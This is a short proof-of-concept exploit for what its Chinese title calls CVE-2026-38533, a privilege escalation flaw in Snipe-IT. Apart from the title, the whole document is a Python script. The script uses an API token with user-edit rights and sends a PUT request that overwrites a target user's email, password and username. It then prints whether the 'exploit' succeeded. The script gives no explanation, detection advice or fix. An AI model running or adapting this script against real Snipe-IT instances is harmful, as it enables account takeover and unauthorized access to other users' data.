CVE-2026-38533 Snipe-IT权限提升漏洞

import requests # Configuration target_url = "http://target-snipe-it.com/api/v1/users/{target_user_id}" api_token = "YOUR_VALID_API_TOKEN" # User with users.edit permission headers = { "Authorization": f"Bearer {api_token}", "Content-Type": "application/json", "Accept": "application/json" } # Malicious payload to modify sensitive fields # Exploiting the improper authorization to change email/password payload = { "email": "[email protected]", "password": "NewPassword123!", "username": "hacked_account" } # Send the exploit request response = requests.put(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! User data modified.") else: print(f"[-] Exploit failed. Status: {response.status_code}") print(response.text)